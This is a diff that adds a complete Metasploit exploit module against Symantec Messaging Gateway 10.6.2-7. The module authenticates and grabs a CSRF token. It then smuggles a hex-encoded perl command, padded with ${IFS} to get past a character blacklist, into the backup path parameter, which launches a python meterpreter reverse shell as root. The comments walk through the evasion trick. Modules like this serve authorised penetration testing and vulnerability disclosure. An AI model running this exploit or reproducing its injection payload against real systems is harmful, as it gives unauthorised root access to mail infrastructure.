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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => "Symantec Messaging Gateway Remote Code Execution", |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a |
| 16 | + terminal command under the context of the web server user which is root. |
| 17 | +
|
| 18 | + backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing |
| 19 | + operating system command. One of the user input is being passed to the service without proper validation. That cause an command |
| 20 | + injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal |
| 21 | + command. Thus, you need to configure your own SSH service and set the required parameter during module usage. |
| 22 | +
|
| 23 | + This module was tested against Symantec Messaging Gateway 10.6.2-7. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Mehmet Ince <[email protected]>' # author & msf module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'] |
| 33 | + ], |
| 34 | + 'DefaultOptions' => |
| 35 | + { |
| 36 | + 'SSL' => true, |
| 37 | + 'RPORT' => 443, |
| 38 | + 'Payload' => 'python/meterpreter/reverse_tcp' |
| 39 | + }, |
| 40 | + 'Platform' => ['python'], |
| 41 | + 'Arch' => ARCH_PYTHON, |
| 42 | + 'Targets' => [[ 'Automatic', { }]], |
| 43 | + 'Privileged' => true, |
| 44 | + 'DisclosureDate' => "Apr 26 2017", |
| 45 | + 'DefaultTarget' => 0 |
| 46 | + )) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + Opt::RPORT(443), |
| 51 | + OptString.new('USERNAME', [true, 'The username to login as']), |
| 52 | + OptString.new('PASSWORD', [true, 'The password to login with']), |
| 53 | + OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), |
| 54 | + OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), |
| 55 | + OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), |
| 56 | + OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), |
| 57 | + OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) |
| 58 | + ] |
| 59 | + ) |
| 60 | + end |
| 61 | + |
| 62 | + def username |
| 63 | + datastore['USERNAME'] |
| 64 | + end |
| 65 | + |
| 66 | + def password |
| 67 | + datastore['PASSWORD'] |
| 68 | + end |
| 69 | + |
| 70 | + def ssh_address |
| 71 | + datastore['SSH_ADDRESS'] |
| 72 | + end |
| 73 | + |
| 74 | + def ssh_port |
| 75 | + datastore['SSH_PORT'] |
| 76 | + end |
| 77 | + |
| 78 | + def ssh_username |
| 79 | + datastore['SSH_USERNAME'] |
| 80 | + end |
| 81 | + |
| 82 | + def ssh_password |
| 83 | + datastore['SSH_PASSWORD'] |
| 84 | + end |
| 85 | + |
| 86 | + def auth |
| 87 | + print_status("Performing authentication...") |
| 88 | + |
| 89 | + sid = '' |
| 90 | + last_login = '' |
| 91 | + |
| 92 | + res = send_request_cgi({ |
| 93 | + 'method' => 'GET', |
| 94 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') |
| 95 | + }) |
| 96 | + |
| 97 | + if res && !res.get_cookies.empty? |
| 98 | + last_login = res.get_hidden_inputs.first['lastlogin'] || '' |
| 99 | + sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' |
| 100 | + else |
| 101 | + fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") |
| 102 | + end |
| 103 | + |
| 104 | + cookie = '' |
| 105 | + |
| 106 | + # Performing authentication |
| 107 | + res = send_request_cgi({ |
| 108 | + 'method' => 'POST', |
| 109 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), |
| 110 | + 'headers' => { |
| 111 | + 'Referer' => "https://#{peer}/brightmail/viewLogin.do", |
| 112 | + 'Connection' => 'keep-alive' |
| 113 | + }, |
| 114 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", |
| 115 | + 'vars_post' => { |
| 116 | + 'lastlogin' => last_login, |
| 117 | + 'userLocale' => '', |
| 118 | + 'lang' => 'en_US', |
| 119 | + 'username' => username, |
| 120 | + 'password' => password, |
| 121 | + 'loginBtn' => 'Login' |
| 122 | + } |
| 123 | + }) |
| 124 | + |
| 125 | + if res &&res.body =~ /Logged in/ |
| 126 | + cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] |
| 127 | + print_good("Awesome..! Authenticated with #{username}:#{password}") |
| 128 | + else |
| 129 | + fail_with(Failure::Unknown, 'Credentials are not valid.') |
| 130 | + end |
| 131 | + |
| 132 | + cookie |
| 133 | + end |
| 134 | + |
| 135 | + def get_csrf_token(cookie) |
| 136 | + |
| 137 | + print_status('Capturing CSRF token') |
| 138 | + |
| 139 | + res = send_request_cgi({ |
| 140 | + 'method' => 'GET', |
| 141 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'), |
| 142 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", |
| 143 | + }) |
| 144 | + |
| 145 | + csrf_token = nil |
| 146 | + if res && res.code == 200 |
| 147 | + match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/) |
| 148 | + if match |
| 149 | + csrf_token = match[1] |
| 150 | + print_good("CSRF token is : #{csrf_token}") |
| 151 | + else |
| 152 | + fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.') |
| 153 | + end |
| 154 | + else |
| 155 | + fail_with(Failure::Unknown, 'Something went wrong.') |
| 156 | + end |
| 157 | + |
| 158 | + csrf_token |
| 159 | + end |
| 160 | + |
| 161 | + def exploit |
| 162 | + |
| 163 | + cookie = auth |
| 164 | + csrf_token = get_csrf_token(cookie) |
| 165 | + |
| 166 | + # I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted. |
| 167 | + # Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys; |
| 168 | + # Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :) |
| 169 | + # So we gonna execute a perl payload on server side which will execute our meterpreter python payload. |
| 170 | + |
| 171 | + cmd = "python -c \"#{payload.encoded}\"" |
| 172 | + final_payload = cmd.to_s.unpack("H*").first |
| 173 | + |
| 174 | + p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" |
| 175 | + |
| 176 | + # Ok. We are ready to go |
| 177 | + send_request_cgi({ |
| 178 | + 'method' => 'POST', |
| 179 | + 'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'), |
| 180 | + 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}", |
| 181 | + 'vars_post' => { |
| 182 | + 'pageReuseFor' => 'backup_now', |
| 183 | + 'id' => '', |
| 184 | + 'symantec.brightmail.key.TOKEN' => csrf_token, |
| 185 | + 'backupData' => 'full', |
| 186 | + 'customType' => 'configuration', |
| 187 | + 'includeIncidentMessages' => 'true', |
| 188 | + 'includeLogData' => 'true', |
| 189 | + 'backupTo' => '2', |
| 190 | + 'remoteBackupProtocol' => 'SCP', |
| 191 | + 'remoteBackupAddress' => ssh_address, |
| 192 | + 'remoteBackupPort' => ssh_port, |
| 193 | + 'remoteBackupPath' => "tmp$(#{p})", |
| 194 | + 'requiresRemoteAuthentication' => 'true', |
| 195 | + 'remoteBackupUsername' => ssh_username, |
| 196 | + 'remoteBackupPassword' => ssh_password, |
| 197 | + } |
| 198 | + }) |
| 199 | + end |
| 200 | + |
| 201 | +end |
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